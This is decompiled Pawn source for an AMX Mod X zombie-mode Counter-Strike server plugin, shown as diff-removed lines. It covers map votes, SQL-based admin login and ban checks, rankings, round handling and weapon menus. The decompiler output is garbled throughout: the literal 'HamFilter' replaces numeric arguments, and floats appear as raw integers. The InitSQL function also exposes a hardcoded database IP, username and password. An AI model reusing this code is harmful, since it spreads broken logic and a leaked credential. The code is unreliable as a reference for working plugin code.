- static iVoteOption;
- static iMaximumVotes;
- g_bSecondVoting = false;
- iMaximumVotes = -1;
- g_iVariable = 0;
- while (g_iVariable < 2)
- {
- if (iMaximumVotes < g_iSecondVotes[g_iVariable])
- {
- iMaximumVotes = g_iSecondVotes[g_iVariable];
- iVoteOption = g_iVariable;
- }
- g_iVariable += 1;
- }
- PrintToChat(0, "\x01The next map will be\x04 %s", g_cSecondMaps[iVoteOption]);
- set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
- if (g_bConnected[g_iVoter])
- {
- g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", "HamFilter");
- menu_additem(g_iMenu, "Yes, change it now!", 378320, "HamFilter", -1);
- menu_additem(g_iMenu, "Change it just next map...", 378436, "HamFilter", -1);
- menu_additem(g_iMenu, "Don't change it!", 378512, "HamFilter", -1);
- menu_setprop(g_iMenu, 6, -1);
- menu_display(g_iVoter, g_iMenu, "HamFilter");
- }
- g_iSecondVotes[3] = 0;
- g_iSecondVotes[2] = 0;
- g_iSecondVotes[1] = 0;
- g_iSecondVotes[0] = 0;
- return 0;
- }
- public _MenuChange(iPlayer, iMenu, iItem)
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, "HamFilter", iDummy);
- iChoice = str_to_num(cBuffer);
- switch (iChoice)
- {
- case 0:
- {
- static cMap[32];
- get_cvar_string("nextmap", cMap, 32);
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Changing map to\x04 %s\x01...", cMap);
- set_cvar_num("mp_timelimit", 4096);
- set_task(1065353216, "TimerChangeMap", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- }
- case 1:
- {
- static cMap[32];
- get_cvar_string("nextmap", cMap, 32);
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Console variable\x04 nextmap\x01 has been changed to\x04 %s\x01...", cMap);
- set_cvar_num("mp_timelimit", 4096);
- }
- case 2:
- {
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 We will stay here...");
- }
- default:
- {
- }
- }
- return 0;
- }
- public CheckVotes()
- {
- static iVoteOption;
- static iMaximumVotes;
- g_bVoting = false;
- iMaximumVotes = -1;
- g_iVariable = 0;
- while (g_iVariable < 5)
- {
- if (iMaximumVotes < g_iVotes[g_iVariable])
- {
- iMaximumVotes = g_iVotes[g_iVariable];
- iVoteOption = g_iVariable;
- }
- g_iVariable += 1;
- }
- if (iVoteOption)
- {
- PrintToChat(0, "\x01The next map will be\x04 %s", g_cMaps[iVoteOption + -1]);
- set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
- set_cvar_num("mp_timelimit", 4096);
- }
- else
- {
- PrintToChat(0, "\x01This map will be extended with\x04 10\x01 minutes!");
- set_task(1106247680, "CheckTimeleft", 25613, 318308, "HamFilter", 379952, "HamFilter");
- set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
- }
- g_iVariable = 0;
- while (g_iVariable < 5)
- {
- g_iVotes[g_iVariable] = 0;
- g_iVariable += 1;
- }
- return 0;
- }
- public CheckTimeleft(iDecimal)
- {
- static Float:fTimeLeft;
- fTimeLeft = GetTimeLeft();
- new var1;
- if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
- {
- remove_task(iDecimal, "HamFilter");
- g_bVoting = true;
- set_task(1097859072, "CheckVotes", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- g_iMenu = menu_create("Choose the next map!", "VotePanel", "HamFilter");
- menu_additem(g_iMenu, "Extend this map", 380540, "HamFilter", -1);
- static j[32];
- static i;
- i = 2;
- g_iVariable = 0;
- while (g_iVariable < 4)
- {
- num_to_str(i, j, 32);
- menu_additem(g_iMenu, g_cMaps[g_iVariable], j, "HamFilter", -1);
- i += 1;
- g_iVariable += 1;
- }
- menu_setprop(g_iMenu, 6, -1);
- g_iVariable = 1;
- while (g_iMaxClients + 1 > g_iVariable)
- {
- if (g_bConnected[g_iVariable])
- {
- menu_display(g_iVariable, g_iMenu, "HamFilter");
- }
- g_iVariable += 1;
- }
- }
- return 0;
- }
- public SQLCheckAdmin(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- if (SQL_NumResults(hQuery) == 1)
- {
- new iPlayer;
- new cPassword[32];
- new cFlags[42];
- new cTag[32];
- iPlayer = str_to_num(cData);
- SQL_ReadResult(hQuery, "HamFilter", cFlags, 41);
- SQL_ReadResult(hQuery, 1, cPassword, 31);
- SQL_ReadResult(hQuery, 2, cTag, 31);
- new var1;
- if (equali(cPassword, g_cPasswords[iPlayer], "HamFilter") && strlen(cPassword) && strlen(cFlags) && strlen(g_cPasswords[iPlayer]))
- {
- g_bAdmin[iPlayer] = 1;
- formatex(g_cAdminFlags[iPlayer], 42, "%s", cFlags);
- formatex(g_cTag[iPlayer], 24, "%s", cTag);
- show_glow_message(iPlayer, "You are now administrator!", 6904269, 0.02, 0.6, 1.75);
- }
- else
- {
- g_bAdmin[iPlayer] = 0;
- formatex(g_cAdminFlags[iPlayer], 42, "%s", 380824);
- server_cmd("kick #%d Incorrect password!", get_user_userid(iPlayer));
- }
- }
- return 0;
- }
- public SQLBanCheck(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- if (SQL_NumResults(hQuery))
- {
- server_cmd("kick #%d You are banned! Check http://csaddicted.com/bans", get_user_userid(str_to_num(cData)));
- }
- return 0;
- }
- GetTimeLength(iTime, sTime[], iLength)
- {
- static sElement[2][12];
- static sA[15];
- static iElement;
- static iSecond;
- static iMinute;
- static iHour;
- iSecond = 0;
- iMinute = 0;
- iHour = 0;
- iElement = -1;
- iSecond = iTime * 60;
- iHour = iSecond / 3600;
- iSecond = iSecond - iHour * 3600;
- iMinute = iSecond / 60;
- iSecond = iSecond - iMinute * 60;
- if (0 < iHour)
- {
- AddCommas(iHour, sA, 14);
- iElement += 1;
- formatex(sElement[iElement], 11, "%s h", sA);
- }
- iElement += 1;
- formatex(sElement[iElement], 11, "%d m", iMinute);
- switch (iElement)
- {
- case 0:
- {
- new var2 = sElement;
- formatex(sTime, iLength, "%s", var2[0][var2]);
- }
- case 1:
- {
- new var1 = sElement;
- formatex(sTime, iLength, "%s %s", var1[0][var1], sElement[1]);
- }
- default:
- {
- }
- }
- return 0;
- }
- Float:GetTimeLeft()
- {
- return floatsub(floatmul(1114636288, get_cvar_float("mp_timelimit")), get_gametime());
- }
- public client_disconnect(iPlayer)
- {
- static iTimeLimit;
- iTimeLimit = get_pcvar_num(g_iTimeLimit);
- if (iTimeLimit != 4096)
- {
- if (g_bAlive[iPlayer])
- {
- CheckLastPlayer(iPlayer);
- }
- InsertInfo(iPlayer);
- ArrayPushString(g_aNameData, g_cName[iPlayer]);
- ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
- }
- remove_task(iPlayer + 50, "HamFilter");
- remove_task(iPlayer + 100, "HamFilter");
- remove_task(iPlayer + 150, "HamFilter");
- remove_task(iPlayer + 250, "HamFilter");
- remove_task(iPlayer + 200, "HamFilter");
- remove_task(iPlayer + 300, "HamFilter");
- remove_task(iPlayer + 850, "HamFilter");
- remove_task(iPlayer + 350, "HamFilter");
- remove_task(iPlayer + 400, "HamFilter");
- remove_task(iPlayer + 500, "HamFilter");
- remove_task(iPlayer + 450, "HamFilter");
- if (g_iPlantedMines[iPlayer])
- {
- rem(iPlayer);
- g_iPoints[iPlayer] = 0;
- g_iPlantedMines[iPlayer] = 0;
- }
- g_iPingOverride[iPlayer] = -1;
- g_iPlayerMines[iPlayer][1] = 0;
- g_iPlayerMines[iPlayer][0] = 0;
- g_iPlantedMines[iPlayer] = 0;
- g_iTripMines[iPlayer] = 0;
- g_iBlinks[iPlayer] = 0;
- g_bRemoving[iPlayer] = 0;
- g_bPlanting[iPlayer] = 0;
- g_bAdminModel[iPlayer] = 0;
- g_bServerSlot[iPlayer] = 0;
- g_bDoubleDamage[iPlayer] = 0;
- g_bUnlimitedClip[iPlayer] = 0;
- g_bTryder[iPlayer] = 0;
- g_bAlive[iPlayer] = 0;
- g_bConnected[iPlayer] = 0;
- g_fGagTime[iPlayer] = 0;
- return 0;
- }
- public SQLGetRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- static cScore[15];
- static cDeaths[15];
- static cKills[15];
- static cTotal[15];
- static cRank[15];
- static iRank;
- static iPlayer;
- iPlayer = str_to_num(cData);
- iRank = SQL_NumResults(hQuery);
- AddCommas(iRank, cRank, 15);
- AddCommas(g_iRanksCount, cTotal, 15);
- AddCommas(g_iDeaths[iPlayer], cDeaths, 15);
- AddCommas(g_iKills[iPlayer], cKills, 15);
- AddCommas(g_iScore[iPlayer], cScore, 15);
- g_iMenu = menu_create("Ranking", "EmptyPanel", "HamFilter");
- formatex(g_cQuery, 255, "Rank: %s of %s Score: %s", cRank, cTotal, cScore);
- menu_additem(g_iMenu, g_cQuery, 381996, "HamFilter", -1);
- new var1;
- if (g_iDeaths[iPlayer])
- {
- var1 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
- }
- else
- {
- var1 = float(g_iKills[iPlayer]);
- }
- formatex(g_cQuery, 255, "Kills: %s Deaths: %s KPD: %0.2f", cKills, cDeaths, var1);
- menu_additem(g_iMenu, g_cQuery, 382140, "HamFilter", -1);
- formatex(g_cQuery, 255, "Online: %s", g_cOnlineTime[iPlayer]);
- menu_additem(g_iMenu, g_cQuery, 382192, "HamFilter", -1);
- menu_setprop(g_iMenu, 6, -1);
- menu_display(iPlayer, g_iMenu, "HamFilter");
- new var2;
- if (g_iDeaths[iPlayer])
- {
- var2 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
- }
- else
- {
- var2 = float(g_iKills[iPlayer]);
- }
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01's rank is\x04 %s\x01 of\x04 %s\x01 --\x03 %0.2f KPD", g_cName[iPlayer], cRank, cTotal, var2);
- return 0;
- }
- public EventHLTV()
- {
- g_bRoundStart = true;
- g_bModeStarted = false;
- g_fRoundStartTime = get_gametime();
- return 0;
- }
- public TaskCounter()
- {
- g_iCounter -= 1;
- if (0 < g_iCounter < 9)
- {
- static cWord[12];
- num_to_word(g_iCounter, cWord, 12);
- set_hudmessage(179, "HamFilter", "HamFilter", -1082130432, 1049750405, 2, 1017370378, 1065353216, 1008981770, 1036831949, 10);
- ShowSyncHudMsg("HamFilter", g_iCounterMessage, "Infection in %d", g_iCounter);
- client_cmd("HamFilter", "spk fvox/%s", cWord);
- }
- return 0;
- }
- public EventRoundStart()
- {
- g_iRoundType = 0;
- new var3 = false;
- g_bModeStarted = var3;
- g_bRoundEnd = var3;
- g_bRoundStart = true;
- remove_task(650, "HamFilter");
- set_task(1073741824, "TaskWelcome", 650, 318308, "HamFilter", 318312, "HamFilter");
- g_iCounter = 16;
- remove_task(550, "HamFilter");
- remove_task(900, "HamFilter");
- set_task(1098907648, "TaskZombie", 550, 318308, "HamFilter", 318312, "HamFilter");
- remove_task(700, "HamFilter");
- set_task(1065353216, "TaskCounter", 700, 318308, "HamFilter", 382756, 15);
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bConnected[i] && get_user_jetpack(i))
- {
- set_user_rocket_time(i, floatadd(get_gametime(), random_float(1043542835, 1067869798)));
- }
- g_iMaxJumps[i] = 0;
- g_iPlantedMines[i] = 0;
- g_iTripMines[i] = 0;
- g_iBlinks[i] = 0;
- g_iPlayerMines[i][1] = 0;
- g_iPlayerMines[i][0] = 0;
- g_iKillsThisRound[i] = 0;
- g_bGaveThisRound[i] = 0;
- g_bDoubleDamage[i] = 0;
- g_bTryder[i] = 0;
- g_bUnlimitedClip[i] = 0;
- new var2;
- if (g_bConnected[i] && VipHasFlag(i, 106) && g_iMaxJumps[i])
- {
- g_iMaxJumps[i] = 1;
- }
- i += 1;
- }
- static cMap[32];
- get_cvar_string("nextmap", cMap, 32);
- if (get_cvar_num("mp_timelimit") == 4096)
- {
- set_task(1061158912, "TimerChangeMap", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- }
- return 0;
- }
- public CmdChat(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
- {
- static i;
- static cPhrase[192];
- read_args(cPhrase, 192);
- remove_quotes(cPhrase);
- if (contain(cPhrase, 383812) != -1)
- {
- return 1;
- }
- cPhrase[189] = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var2;
- if (g_bConnected[i] && g_bAdmin[i])
- {
- PrintToChat(i, "\x04[ADMINS]\x03 %s\x01 : %s", g_cName[iPlayer], cPhrase);
- }
- i += 1;
- }
- }
- return 1;
- }
- public CmdSayChat(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 121))
- {
- static i;
- static cPhrase[192];
- read_args(cPhrase, 192);
- remove_quotes(cPhrase);
- if (contain(cPhrase, 384676) != -1)
- {
- return 1;
- }
- cPhrase[189] = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i])
- {
- PrintToChat(i, "\x04[ALL]\x03 %s\x01 : %s", g_cName[iPlayer], cPhrase);
- }
- i += 1;
- }
- }
- return 1;
- }
- public TaskRespawn(iPlayer)
- {
- new var1;
- if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
- {
- if (!g_bAlive[iPlayer])
- {
- ExecuteHamB(98, iPlayer);
- set_task(1069547520, "TaskRespawn", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- }
- send_hide_weapon(iPlayer, 32);
- send_crosshair(iPlayer);
- }
- return 0;
- }
- public EventRoundEnd()
- {
- static Float:fCurrent;
- static Float:fLast;
- fCurrent = get_gametime();
- if (floatsub(fCurrent, fLast) < 1056964608)
- {
- return 0;
- }
- fLast = fCurrent;
- g_iRoundsCount += 1;
- g_iRounds[g_iRoundsCount] = g_iRoundType;
- g_bRoundEnd = true;
- g_bModeStarted = false;
- g_iRoundType = 0;
- remove_task(600, "HamFilter");
- remove_task(700, "HamFilter");
- remove_task(550, "HamFilter");
- remove_task(900, "HamFilter");
- remove_task(650, "HamFilter");
- client_cmd("HamFilter", "stopsound");
- if (!GetZombies())
- {
- set_hudmessage("HamFilter", "HamFilter", 200, -1082130432, 1041865114, "HamFilter", "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "Humans have defeated the plague!");
- client_cmd("HamFilter", "spk %s", g_cEndRoundHumanSounds[random_num("HamFilter", 2)]);
- }
- else
- {
- if (!GetHumans())
- {
- set_hudmessage(200, "HamFilter", "HamFilter", -1082130432, 1041865114, "HamFilter", "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "Zombies have taken over the world!");
- client_cmd("HamFilter", "spk %s", g_cEndRoundZombieSounds[random_num("HamFilter", "")]);
- }
- set_hudmessage("HamFilter", 200, "HamFilter", -1082130432, 1041865114, "HamFilter", "HamFilter", 1077936128, 1073741824, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "No one won...");
- client_cmd("HamFilter", "spk ZombieOutstanding/end_round_win_no_one");
- }
- static iFrags;
- static iMaximumPacks;
- static iMaximumKills;
- static iPacksLeader;
- static iKillsLeader;
- iMaximumPacks = 0;
- iMaximumKills = 0;
- iPacksLeader = 0;
- iKillsLeader = 0;
- g_iVariable = 1;
- while (g_iMaxClients + 1 > g_iVariable)
- {
- if (g_bConnected[g_iVariable])
- {
- iFrags = get_frags(g_iVariable);
- if (iFrags > iMaximumKills)
- {
- iMaximumKills = iFrags;
- iKillsLeader = g_iVariable;
- }
- }
- g_iVariable += 1;
- }
- g_iVariable = 1;
- while (g_iMaxClients + 1 > g_iVariable)
- {
- new var1;
- if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iMaximumPacks)
- {
- iMaximumPacks = g_iPacks[g_iVariable];
- iPacksLeader = g_iVariable;
- }
- g_iVariable += 1;
- }
- if (g_bConnected[iKillsLeader])
- {
- static a[15];
- AddCommas(iMaximumKills, a, 14);
- if (g_iKillsThisRound[iKillsLeader])
- {
- new var2;
- if (iMaximumKills == 1)
- {
- var2 = 385708;
- }
- else
- {
- var2 = 385712;
- }
- PrintToChat(0, "\x03%s\x01 is\x04 Leader\x01 with\x04 %s\x01 frag%s! [\x04 %d\x01 this round ]", g_cName[iKillsLeader], a, var2, g_iKillsThisRound[iKillsLeader]);
- }
- new var3;
- if (iMaximumKills == 1)
- {
- var3 = 385860;
- }
- else
- {
- var3 = 385864;
- }
- PrintToChat(0, "\x03%s\x01 is\x04 Leader\x01 with\x04 %s\x01 frag%s!", g_cName[iKillsLeader], a, var3);
- }
- if (g_bConnected[iPacksLeader])
- {
- static a[15];
- AddCommas(iMaximumPacks, a, 14);
- new var4;
- if (iMaximumPacks == 1)
- {
- var4 = 386072;
- }
- else
- {
- var4 = 386076;
- }
- PrintToChat(0, "\x03%s\x01 is\x04 Leader\x01 with\x04 %s\x01 pack%s!", g_cName[iPacksLeader], a, var4);
- }
- static iTeam;
- static j;
- static i;
- i = random_num(1, g_iMaxClients);
- iTeam = 1;
- j = 1;
- while (g_iMaxClients + 1 > j)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- new var5;
- if (!g_bConnected[i] || !0 < get_team(i) < 3)
- {
- }
- else
- {
- if (iTeam > 2)
- {
- iTeam = 1;
- }
- set_team_offset(i, iTeam);
- iTeam += 1;
- }
- j += 1;
- }
- return 0;
- }
- public OnPlayerSpawn(iPlayer)
- {
- if (is_user_alive(iPlayer))
- {
- g_bAlive[iPlayer] = 1;
- new var1;
- if (VipHasFlag(iPlayer, 100))
- {
- var1 = 1;
- }
- else
- {
- var1 = 0;
- }
- g_bCachedDamage[iPlayer] = var1;
- g_iBurningDuration[iPlayer] = 0;
- g_iPlayerType[iPlayer] = 0;
- g_bKilling[iPlayer] = 0;
- g_bUnlimitedClip[iPlayer] = 0;
- g_bDoubleDamage[iPlayer] = 0;
- g_bNoDamage[iPlayer] = 0;
- g_bZombie[iPlayer] = 0;
- g_bFlashEnabled[iPlayer] = 0;
- g_bFlash[iPlayer] = 0;
- set_zombie(iPlayer, "HamFilter");
- set_monster(iPlayer, "HamFilter");
- remove_glow(iPlayer);
- g_bFrozen[iPlayer] = 0;
- set_take_damage(iPlayer, 2);
- set_frozen(iPlayer, "HamFilter");
- set_health(iPlayer, 150);
- set_gravity(iPlayer, 1065353216);
- set_speed(iPlayer, 1131413504);
- remove_task(iPlayer + 250, "HamFilter");
- remove_task(iPlayer + 200, "HamFilter");
- remove_task(iPlayer + 350, "HamFilter");
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (floatsub(fCurrentTime, g_fLastChangedModel) >= 1050253722)
- {
- ChangeModel(iPlayer + 250);
- g_fLastChangedModel = fCurrentTime;
- }
- else
- {
- set_task(floatsub(floatadd(1050253722, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, 318308, "HamFilter", 318312, "HamFilter");
- g_fLastChangedModel = floatadd(1050253722, g_fLastChangedModel);
- }
- set_task(1045220557, "TaskShowMenu", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(random_float(1065353216, 1084227584), "TaskRespawn", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- if (!g_bRoundStart)
- {
- new var2;
- if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64)
- {
- MakeZombie(0, iPlayer, false, false, false);
- }
- new var3;
- if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
- {
- if (get_team(iPlayer) != 2)
- {
- set_team(iPlayer, 2);
- }
- }
- new var4;
- if (g_iRoundType & 128 || g_iRoundType & 256)
- {
- MakeHuman(iPlayer, true, false);
- }
- if (g_iRoundType & 512)
- {
- MakeZombie(0, iPlayer, false, false, true);
- }
- }
- if (g_Hidden[iPlayer])
- {
- Make_Client_Visible(iPlayer);
- g_Hidden[iPlayer] = 0;
- }
- new var5;
- if (VipHasFlag(iPlayer, 106) && g_iMaxJumps[iPlayer] != 1)
- {
- g_iMaxJumps[iPlayer] = 1;
- }
- new var6;
- if (VipHasFlag(iPlayer, 97) && get_armor(iPlayer) <= 50)
- {
- set_armor(iPlayer, get_armor(iPlayer) + 50);
- }
- if (VipHasFlag(iPlayer, 104))
- {
- set_health(iPlayer, get_health(iPlayer) + 150);
- }
- if (g_bVip[iPlayer])
- {
- set_task(1045220557, "TaskPrepSpa", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1053609165, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1067450368, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- }
- }
- return 0;
- }
- public TaskPrepSpa(iPlayer)
- {
- new var1;
- if (is_user_alive(iPlayer) && get_team(iPlayer) == 1 && !g_bZombie[iPlayer] && g_bRoundStart)
- {
- set_team(iPlayer, 2);
- }
- return 0;
- }
- public TaskDoScore(iPlayer)
- {
- if (is_user_alive(iPlayer))
- {
- MakeVip(iPlayer);
- }
- return 0;
- }
- public TaskShowMenu(iPlayer)
- {
- new var1;
- if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
- {
- menu_display(iPlayer, g_iSecondaryMenu, "HamFilter");
- }
- return 0;
- }
- public _SecondaryMenu(iPlayer, iMenu, iItem)
- {
- new var1;
- if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, "HamFilter", iDummy);
- iChoice = str_to_num(cBuffer);
- DropWeapons(iPlayer, 67308546);
- give_weapon(iPlayer, g_cSecondaryEntities[iChoice]);
- give_ammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
- menu_display(iPlayer, g_iPrimaryMenu, "HamFilter");
- }
- return 0;
- }
- public _PrimaryMenu(iPlayer, iMenu, iItem)
- {
- new var1;
- if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, "HamFilter", iDummy);
- iChoice = str_to_num(cBuffer);
- DropWeapons(iPlayer, 1509749160);
- give_weapon(iPlayer, g_cPrimaryEntities[iChoice]);
- give_ammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
- if (!user_has_weapon(iPlayer, 4, -1))
- {
- give_weapon(iPlayer, "weapon_hegrenade");
- }
- if (!user_has_weapon(iPlayer, 25, -1))
- {
- give_weapon(iPlayer, "weapon_flashbang");
- }
- if (!user_has_weapon(iPlayer, 9, -1))
- {
- give_weapon(iPlayer, "weapon_smokegrenade");
- }
- }
- return 0;
- }
- DropWeapons(iPlayer, iType)
- {
- static i;
- static cWeapon[24];
- static iNum;
- static iWeapons[32];
- iNum = 0;
- get_user_weapons(iPlayer, iWeapons, iNum);
- i = 0;
- while (i < iNum)
- {
- if (iType & 1 << iWeapons[i])
- {
- get_weaponname(iWeapons[i], cWeapon, 24);
- engclient_cmd(iPlayer, "drop", cWeapon, 386924);
- }
- i += 1;
- }
- return 0;
- }
- public ChangeModel(iTask)
- {
- static bool:bChange;
- static cModel[24];
- static i;
- static iPlayer;
- iPlayer = iTask + -250;
- bChange = true;
- get_user_model(iPlayer, cModel, 24);
- if (!g_bZombie[iPlayer])
- {
- if (!g_iPlayerType[iPlayer])
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109) && !g_bVip[iPlayer])
- {
- if (equal(cModel, "z_out_admin", "HamFilter"))
- {
- bChange = false;
- }
- }
- if (g_bVip[iPlayer])
- {
- if (equal(cModel, "DanDiaconescu", "HamFilter"))
- {
- bChange = false;
- }
- }
- i = 0;
- while (i < 4)
- {
- if (equal(cModel, g_cHumanModels[i], "HamFilter"))
- {
- bChange = false;
- }
- i += 1;
- }
- }
- }
- if (bChange)
- {
- if (!g_bZombie[iPlayer])
- {
- if (!g_iPlayerType[iPlayer])
- {
- new var2;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109) && !g_bVip[iPlayer])
- {
- set_user_model(iPlayer, "z_out_admin");
- }
- else
- {
- if (g_bVip[iPlayer])
- {
- set_user_model(iPlayer, "DanDiaconescu");
- }
- set_user_model(iPlayer, g_cHumanModels[random_num("HamFilter", "")]);
- }
- }
- else
- {
- if (g_iPlayerType[iPlayer] & 4)
- {
- set_user_model(iPlayer, "z_out_survivor");
- }
- new var3;
- if (g_iPlayerType[iPlayer] & 8 && !equal(cModel, "arctic", "HamFilter"))
- {
- set_user_model(iPlayer, "arctic");
- }
- }
- }
- if (!g_iPlayerType[iPlayer])
- {
- set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
- }
- if (g_iPlayerType[iPlayer] & 1)
- {
- set_user_model(iPlayer, "z_out_nemesis");
- }
- if (g_iPlayerType[iPlayer] & 2)
- {
- set_user_model(iPlayer, "z_out_assassin");
- }
- }
- return 0;
- }
- public TaskRCount()
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLRanksCount", "SELECT * FROM r", 322540, "HamFilter");
- return 0;
- }
- public TaskGetMaps()
- {
- new cTime[4];
- new iFile;
- new cLine[161];
- get_time("%H", cTime, "");
- if (cTime[0] == 48)
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m WHERE CHAR_LENGTH(o)>0", 322540, "HamFilter");
- }
- else
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m", 322540, "HamFilter");
- }
- iFile = fopen("addons/amxmodx/configs/z_out_advertisements.ini", 388108);
- if (iFile)
- {
- while (!feof(iFile))
- {
- fgets(iFile, cLine, 160);
- trim(cLine);
- if (cLine[0] == 33)
- {
- copy(g_cAdvertisements[g_iAdvertisementsCount], 160, cLine);
- replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!g", 388128);
- replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!t", 388148);
- replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!n", 388168);
- g_iAdvertisementsCount += 1;
- }
- }
- fclose(iFile);
- }
- iFile = fopen("addons/amxmodx/configs/z_out_hud_advertisements.ini", 388384);
- if (iFile)
- {
- while (!feof(iFile))
- {
- fgets(iFile, cLine, 160);
- trim(cLine);
- if (4 < strlen(cLine))
- {
- copy(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, cLine);
- replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, "\n", 388404);
- g_iHudAdvertisementsCount += 1;
- }
- }
- fclose(iFile);
- }
- return 0;
- }
- public CmdBlock()
- {
- return 1;
- }
- public CmdUpdate(iPlayer)
- {
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (floatsub(fGameTime, g_fLast[iPlayer]) < 1050253722)
- {
- server_cmd("kick #%d You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cInternetProtocolAddress[iPlayer]);
- }
- else
- {
- g_fLast[iPlayer] = fGameTime;
- }
- return 0;
- }
- public InitSQL()
- {
- g_hSQLTuple = SQL_MakeDbTuple("89.44.246.254", "csaddict_z", "arara", "csaddict_z", "HamFilter");
- return 0;
- }
- public plugin_init()
- {
- new i;
- new cNumber[3];
- new cLine[128];
- RegisterHam("HamFilter", "player", "OnPlayerSpawn", 1);
- RegisterHam(9, "player", "OnTakeDamage", "HamFilter");
- RegisterHam(42, "weaponbox", "OnTouch", "HamFilter");
- RegisterHam(42, "armoury_entity", "OnTouch", "HamFilter");
- RegisterHam(70, "player", "OnPreFrame", 1);
- RegisterHam(11, "player", "OnKilled", "HamFilter");
- RegisterHam(8, "player", "OnTraceAttack", "HamFilter");
- RegisterHam(41, "grenade", "OnGrenadeThink", "HamFilter");
- RegisterHam(56, "player", "OnPlayerDuck", "HamFilter");
- RegisterHam(55, "player", "OnPlayerJump", "HamFilter");
- RegisterHam(87, "weapon_knife", "OnPrimaryAttack", "HamFilter");
- register_logevent("EventRoundStart", 2, "1=Round_Start");
- register_logevent("EventRoundEnd", 2, "1=Round_End");
- register_event("HLTV", "EventHLTV", 390040, "1=0", "2=0");
- register_event("CurWeapon", "EventCurWeapon", "be", "1=1");
- register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
- register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
- register_concmd("amx_ban", "CmdBan", -1, 390604, -1);
- register_concmd("amx_freeze", "CmdFreeze", -1, 390604, -1);
- register_concmd("amx_map", "CmdMap", -1, 390604, -1);
- register_concmd("amx_addban", "CmdAddBan", -1, 390604, -1);
- register_concmd("amx_last", "CmdLast", -1, 390604, -1);
- register_concmd("amx_votemap", "CmdVoteMap", -1, 390604, -1);
- register_concmd("amx_kick", "CmdKick", -1, 390604, -1);
- register_concmd("amx_slay", "CmdSlay", -1, 390604, -1);
- register_concmd("amx_say", "CmdSayChat", -1, 390604, -1);
- register_concmd("amx_chat", "CmdChat", -1, 390604, -1);
- register_concmd("amx_destroy", "CmdDestroy", -1, 390604, -1);
- register_concmd("amx_gag", "CmdGag", -1, 390604, -1);
- register_concmd("amx_ungag", "CmdGag", -1, 390604, -1);
